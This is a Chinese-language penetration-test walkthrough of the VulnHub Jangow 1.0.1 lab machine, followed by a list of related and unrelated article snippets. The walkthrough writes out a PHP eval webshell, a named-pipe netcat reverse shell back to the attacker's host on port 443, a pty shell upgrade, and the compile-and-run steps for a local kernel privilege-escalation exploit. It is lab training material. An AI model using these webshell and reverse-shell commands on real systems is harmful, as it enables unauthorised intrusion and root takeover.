渗透环境

攻击机:   IP: 192.168.149.128(Kali)

靶机:     IP:192.168.149.129

靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/

进行渗透

一、 获取IP及端口信息

使用nmap扫描同网段IP,如果使用的是VMware可能出现扫描不到的情况,需要在靶机的恢复模式里重新配置一下靶机的网卡,网上教程很多,这里就不展开讲了。

nmap -sn 192.168.149.0/24

获得靶机的IP为192.168.149.129

接下来对端口进行扫描(稍微有点久)

nmap -sV -p- -A -O 192.168.149.129

我们知道靶机开放了21和80端口,并且知道了软件的版本号和操作系统。


二、 尝试发现漏洞

1. 访问80端口

打开网站有多个可以跳转的链接,逐一点开,发现一个可以的get型参数

试一下在此输入命令whoami,发现可以执行。

2. 进行攻击

既然可以执行命令,我们就尝试反弹shell。但是尝试过后发现,无论使用bash -i还是使用nc都无法反弹shell。

接下来尝试写入一句话木马

echo '<?php @eval($_POST['soap']); ?>' >> Mr_Soap.php

查看目录,发现我们的一句话木马已经写入

接下来使用蚁剑进行连接

连接后浏览目录,发现一个可疑文件,并在其中发现用户名和密码。

我们刚才扫描出一个21端口,我们尝试使用这个用户进行登录

登录成功但是没有发现有用的文件

三、 提权

接下来我们还是使用nc进行连接。我们写入一个nc.php,在其中调用system函数,让其在bash中执行nc连接。

<?php system("rm /tmp/aaa; mkfifo /tmp/aaa; cat /tmp/aaa | /bin/sh -i 2>&1 | nc 192.168.149.128 443 >/tmp/aaa");?>

rm /tmp/aaa:删除名为 /tmp/aaa 的文件(如果存在)。

mkfifo /tmp/aaa:创建一个命名管道(FIFO)文件 /tmp/aaa。

cat /tmp/aaa|/bin/sh -i 2>&1:将 /tmp/aaa 中的内容传递给 /bin/sh(Bash shell),实现交互式的命令执行。

nc 192.168.149.128 443 >/tmp/aaa:通过 netcat (nc) 命令将标准输入和输出重定向到 /tmp/aaa,将命令输出发送到 IP 地址为 192.168.149.128,端口号为 443 的远程主机。

这里经过尝试只能使用443端口,其他端口不可行。443为默认的https端口,但是这台机器没有在上面启用服务,所以我们才想到用443进行测试,发现可以成功反弹shell。

接下来先在kali中队443端口进行监听,然后访问192.168.149.129/site/nc.php

成功反弹shell

在当前终端中创建一个交互式的bash终端

python3 -c 'import pty;pty.spawn("/bin/bash")'

这使用户能够执行命令并与系统交互,就像直接在一个正常的终端中一样

接下来我们尝试使用刚才获取的用户名和密码进行登录,并使用命令sudo -l查看这个用户能使用哪些sudo命令

这个用户没有什么可利用的地方,那就只能再找找看有没有系统漏洞。

查看系统内核版本和发行版本

uname -a                #查看内核版本
lsb_release -a #查看Ubuntu版本

搜索系统版本

searchsploit 4.4.0-31 ubuntu

图中红框内的三个漏洞标题中都含有Privilege Escalation,表明他们是用于提权的

接下来我们尝试使用红框内的第一个exp,先查看这个exp的路径(这些exp都是保存在本地的)

searchsploit -p 45010.c

接下来查看它的详细信息

cat /usr/share/exploitdb/exploits/linux/local/45010.c

在文件的头部我们可以看到使用方法,即gcc编译后再执行就可以了(不要忘记添加执行权限)

接下来我们把exp下载下来,在最下面可以看到保存的路径

searchsploit -m 45010.c

然后我们将其编译

gcc 45010.c -o exp

接下来我们将其传回去,一般情况下我们使用python开启一个简易服务器即可

服务器:python3 -m http.server [port]
客户机:wget [host:8000/filename]

但是经过尝试,传输失败,不要忘了该靶机还开了FTP服务,可以通过FTP进行传输,或者使用蚁剑传输都是可以的,这里我使用FTP进行传输。

成功将exp传入靶机/home/jangow01/exp,注意使用put传输文件时,该文件要存在kali当前的路径中。

接下来我们为这个文件添加执行权限,然后执行它,但是这里报错了

这是因为我这里的kali版本过高,使用高版本的GLIBC编译的文件无法在靶机中运行。

既然我们有源码,可以直接将源码传到靶机中(上面已经讲了如何传文件,这里不再赘述),在靶机中完成编译并执行。

这里看到我们的权限已经是root了。渗透完成。

【渗透测试】 Vulnhub JANGOW: 1.0.1的更多相关文章

  1. Vulnhub渗透测试练习(一) ----------Breach1.0

    教程网址 https://www.freebuf.com/articles/system/171318.html 学习经验总结 1.使用jre的bin目录下的keytool命令来输入秘钥库口令进而获取 ...

  2. 【渗透测试】PHPCMS9.6.0 任意文件上传漏洞+修复方案

    这个漏洞是某司的一位前辈发出来的,这里只是复现一下而已. 原文地址:https://www.t00ls.net/thread-39226-1-1.html 首先我们本地搭建一个phpcms9.6.0的 ...

  3. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  4. kali linux 2.0 web 渗透测试 电子书

    原创 2017-05-31 玄魂工作室 玄魂工作室 打起精神,重新开启订阅号的原创文章写作工作,但是需要点时间,请耐心等待. 求资料的同学,没有及时回复的,请再次留言,我会尽快处理.今天分享两本电子书 ...

  5. Kali Linux Web渗透测试手册(第二版) - 1.0 - 渗透测试环境搭建

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装VirtualBox 创建一个Kali Linux虚拟机 更新和升级Kali Linux ...

  6. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  7. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  8. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  9. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  10. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

随机推荐

  1. Docker安装最新版MySQL

    下载docker dnf -y install docker 下载mysql镜像 docker pull mysql 运行Mysql mkdir -p /home/mysql/data docker ...

  2. COSBrowser 移动端——随时随地查看管理数据

    外出身边没有电脑,需要查看管理数据怎么办? 出现紧急情况,需要快速停止某个 bucket 对外访问,怎么办? 个人用户仅作为网盘使用,需要方便轻量的管理工具,怎么办? 不用着急,COSBrowser ...

  3. APIView执行流程(源码分析)、Request对象源码分析

    目录 一.APIView执行流程--源码分析(难,了解) 1.1 基于APIView+JsonResponse编写接口 1.2 基于APIView+Response 写接口 1.3 APIView的执 ...

  4. .NET 9 New features-JSON序列化

    .NET 9已经发布有一段时间了,近期整理一下.NET 9的新特性,今天重点分享.NET 9 JSON序列化方面的改进. 先引用官方的说明: 在 System.Text.Json 中,.NET 9 提 ...

  5. 【Spring】【MyBatis】Spring整合MyBatis01

    这是一个Spring整合MyBatis的第一次尝试,对于文件的命名和存放位置,也许有些不太合理,请见谅 需要数据库的请查阅[Mybatis]学习笔记01:连接数据库,实现增删改 - 萌狼蓝天 本文档使 ...

  6. git同步远程仓库的所有分支

    git clone克隆远程仓库默认是只克隆master分支,当想把远程仓库上的所有的分支都克隆下来的话,有以下几种方法. 使用远程仓库github上的LSMLIB仓库为例.该仓库在github上一共有 ...

  7. 解锁4K,Xilinx MPSoC ARM + FPGA高清视频采集与显示方案!

    当下,随着数字化多媒体技术以令人惊叹的速度不断演进,高清视频处理成为众多领域关注的焦点.今天为大家分享4K HDMI 高清视频方案,基于Xilinx UltraScale+ MPSoC XCZU7EV ...

  8. [转]fatal: remote error: The unauthenticated git protocol on port 9418 is no longer support问题解决

    背景 因为居家办公,把代码从远程clone下来之后,发现使用npm install一直失败. 提示的错误:fatal: remote error: The unauthenticated git pr ...

  9. IM开发者的零基础通信技术入门(十四):高铁上无线上网有多难?一文即懂!

    [来源申明]本文引用了微信公众号"鲜枣课堂"的<坐高铁手机没信号?原因远比你想的要复杂!>文章内容.为了更好的内容呈现,本文在引用和收录时内容有改动,转载时请注明原文来 ...

  10. 将 EasySQLite 从 .NET 8 升级到 .NET 9

    前言 EasySQLite是一个.NET 8操作SQLite入门到实战的详细教程,主要是对学校班级,学生信息进行管理维护.今天咱们的主要内容是将EasySQLite从.NET 8升级到.NET 9. ...